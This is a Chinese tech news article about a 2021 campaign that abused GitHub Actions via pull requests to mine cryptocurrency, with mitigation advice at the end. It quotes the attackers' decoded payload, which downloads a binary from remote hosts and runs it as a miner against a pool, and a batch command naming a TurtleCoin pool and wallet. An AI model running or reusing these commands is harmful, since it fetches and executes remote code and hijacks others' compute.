黑客用GitHub服務器挖礦，三天跑了3萬個任務，代碼驚現中文

曉查 2021-04-10 12:32:49 來源：量子位

夢晨 曉查 發自 凹非寺
量子位 報道 | 公眾號 QbitAI

加密貨幣價格一路高漲，顯卡又買不起，怎么才能“廉價”挖礦？

黑客們動起了歪心思——“白嫖”服務器。

給PC植入挖礦木馬，已經無法滿足黑客日益增長的算力需求，如果能用上GitHub的服務器，還不花錢，那當然是極好的。

而且整個過程可能比侵入PC還容易，甚至都不需要程序員上當受騙。只需提交Pull Request（PR），即使項目管理者沒有批準，惡意挖礦代碼依然能夠執行。

原理也很簡單，利用GitHub Action的自動執行工作流功能，輕松將挖礦程序運行在GitHub的服務器上。

早在去年11月，就已經有人發現黑客這種行為。更可怕的是，半年過去了，這種現象依然沒得到有效制止。

GitHub心里苦啊，雖然可以封禁違規賬號，但黑客們玩起了“游擊戰術”，不斷更換馬甲號逃避“追捕”，讓官方疲于奔命。

就在幾天前，一位荷蘭的程序員還發現，這種攻擊方式依然存在，甚至代碼里還出現了中文。

那么，這些黑客是如何植入挖礦程序的呢？一切要從發現異常的法國程序員Tib說起。

PR異常讓程序員起疑心

去年11月，Tib發現，自己在一個沒有參加的repo上收到了PR請求。而且在14個小時內就收到了7個，全是來自一個“y4ndexhater1”的用戶，沒有任何描述內容。

令人感到奇怪的是，這并不是一個熱門項目，Star數量為0。

打開項目主頁發現，內容是Perl項目的github action、circle ci、travis-ci示例代碼集合，整個README文檔一團糟，根本不像一個正經的開源項目。

然而就是這個混亂又冷門的repo，居然在3天里被fork了2次。

一切都太不正常了，讓人嗅到了一絲不安的氣息。

嘗試“作死”運行

本著“作死”的精神，Tib決定一探究竟。

經過那位可疑用戶的操作，Tib所有的action都被刪除，在工作流里被加入了一個ci.yml文件，內容如下：

當Tib看到eval “$(echo “YXB0IHVwZGF0ZSAt這一行內容后，立刻從沙發上跳了起來，他意識到事情的嚴重性：有人在入侵他的GitHub個人資料！

這串看似神秘的字符，其實是base64編碼，經過翻譯后，得到了另一段代碼：

apt update -qq
apt install -y curl git jq
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
ip=$(curl -s -H?‘accept: application/dns-json’?‘https://dns.google/resolve?name=poolio.magratmail.xyz&type=A’?| jq -r?‘.Answer[0].data’)
chmod u+x prog
timeout 4h ./prog -o?“${ip}:3000” -u ChrisBarnatt -p ExplainingComputers –cpu-priority 5 > /dev/null

前面兩行不必解釋，有意思的地方從第三行開始，它會下載一個prog二進制文件。

為了安全起見，Tib先嘗試獲取信息而不是執行，得到了它的十六進制代碼。

$ objdump -s –section .comment prog
prog: file format elf64-x86-64
Contents of section .comment:
0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.
0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1
0020 20323032 30313230 3300 20201203.

Tib也考慮過反編譯，但是沒有成功。

不入虎穴，焉得虎子，Tib決定嘗試運行一下。

要執行這一大膽而又作死的任務，防止“試試就逝世”，Tib首先斷開了電腦的網絡鏈接，并選擇在Docker容器中運行。

答案終于揭曉，原來這個prog是一個名為XMRig的挖礦程序。

$ ./prog –version
XMRig 6.8.1
built on Feb 3 2021 with GCC 10.2.1
features: 64-bit AES
libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0

當時XMRig的最新版恰好是6.8.1，和上面的版本參數符合。不過用SHA256檢測后發現，這個prog并不完全是XMRig，Tib預測它可能是一個修改版。

實際上，可能被攻擊的不止GitHub，安全公司Aqua推測，像Docker Hub、Travis CI、Circle CI這些SaaS軟件開發環境，都可能遭受這類攻擊。

在這個攻擊過程中，會派生一個合法的repo，負責將惡意的GitHub Action添加到原始代碼。然后，黑客再向原始repo提交一個PR，將代碼合并回原始repo。

下載的挖礦程序會偽裝成prog或者gcc編譯器，通過提交PR在項目執行自動化工作流。此時服務器將運行偽裝后的挖礦程序。

這些攻擊者僅一次攻擊就可以運行多達100個挖礦程序，從而給GitHub的服務器帶來了巨大的計算量。

據Aqua估計，僅在三天的時間里，挖礦黑客就在GitHub上有超過2.33萬次commit、在Docker Hub上5.8萬次build，轉化了大約3萬個挖礦任務。

可以防范但很難根除

這種攻擊甚至不需要被攻擊的倉庫管理者接受惡意Pull Request。

只要在.github/workflows目錄里面的任意.yml文件中配置了在收到Pull Request時執行，來自黑客的Action就會自動被執行。

如果你沒有使用這個功能，那就不用擔心啦，黑客大概也不會找上你。

需要用到這個功能的話，可以設置成只允許本地Action或只允許Github官方及特定作者創建的Action。

將情況反饋給客服后，GitHub會對惡意賬號進行封號和關閉相關Pull Request的操作。

但惡意攻擊很難被根除，黑客只需要注冊新的賬號就可以繼續白嫖服務器資源。

攻擊還在繼續

我們從最近一次攻擊中發現，黑客將挖礦程序上傳到GitLab并偽裝成包管理工具npm。

打開這個可疑的nani.bat，可以看到：

npm.exe –algorithm argon2id_chukwa2
–pool turtlecoin.herominers.com:10380
–wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
–password xo

這一次黑客挖的是烏龜幣*(TurtleCoin)*,可使用CPU計算。按當前價格挖出四千多個幣才值1美元。

Github Actions的免費服務器可以提供英特爾E5 2673v4的兩個核心，7GB內存。

大致估算單臺運行一天只能獲利幾美分，而且黑客的挖礦程序通常只能在被發現之前運行幾個小時。比如Docker Hub就把自動build的運行時間限制在2個小時。

不過蚊子再小也是肉，黑客通過尋找更多接受公開Action的倉庫以及反復打開關閉Pull Request就能執行更多的挖礦程序。

△同一黑客賬號至少攻擊了95個GitHub倉庫

正如Twitter用戶Dave Walker所說的，如果你提供免費的計算資源，就要做好會被攻擊和濫用的覺悟。挖礦有利可圖的情況下這是不可避免的。

據報道，受害的不止GitHub，還有Docker Hub、Travis CI以及Circle CI等提供類似服務的持續集成平臺。

這一亂象不知何時才能結束，唯一的好消息可能就是，挖礦的黑客似乎只是針對GitHub提供的服務器資源，而不會破壞你的代碼。

但是GitHub Action的漏洞不止這一個。還有方法能使黑客讀寫開發者的倉庫，甚至可以讀取加密的機密文件。

去年7月，Google Project Zero團隊就已向GitHub通報漏洞。但在給出的90天修復期限+延長14天后，GitHub仍未能有效解決。

對此，我們的建議是，不要輕易相信GitHub市場里的Action作者，不要交出你的密匙。

參考鏈接：
[1]https://therecord.media/github-investigating-crypto-mining-campaign-abusing-its-server-infrastructure/
[2]https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc
[3]https://blog.aquasec.com/container-security-alert-campaign-abusing-github-dockerhub-travis-ci-circle-ci
[4]https://twitter.com/JustinPerdok
[5]https://bugs.chromium.org/p/project-zero/issues/detail?id=2070